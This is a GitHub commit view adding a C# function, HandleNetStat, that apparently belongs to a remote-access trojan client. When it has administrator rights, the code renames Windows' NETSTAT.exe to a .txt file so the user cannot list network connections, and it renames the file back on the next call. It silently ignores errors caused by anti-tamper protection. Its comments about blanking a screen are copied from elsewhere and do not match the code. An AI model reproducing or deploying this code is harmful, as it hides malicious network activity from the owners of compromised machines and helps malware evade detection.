Created HandleNetStat Function

This commit is contained in:
MrDevBot 2019-06-17 14:47:39 +10:00 committed by GitHub
parent fd4d1e4ff0
commit 5dc5eb697d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,39 @@
using Client.Helper;
using System;
namespace Client.Handle_Packet
{
class HandleNetStat
{
static bool switcher = false;
public static void RunNetStat()
{
//light switch logic CopyPasta by MrDevBot
if (!Methods.IsAdmin()) return; //if we are not admin return
if (switcher == false) //The current screen is NOT blanked and needs to be
{
try
{
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt");
}
catch(Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = true; //sets the switch to on for next click
return; //returns to calling function
}
else //the screen is blanked and should be switched back to old
{
try
{
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE");
}
catch (Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = false; //sets the switch to off for next click
return; //returns to calling function
}
}
}
}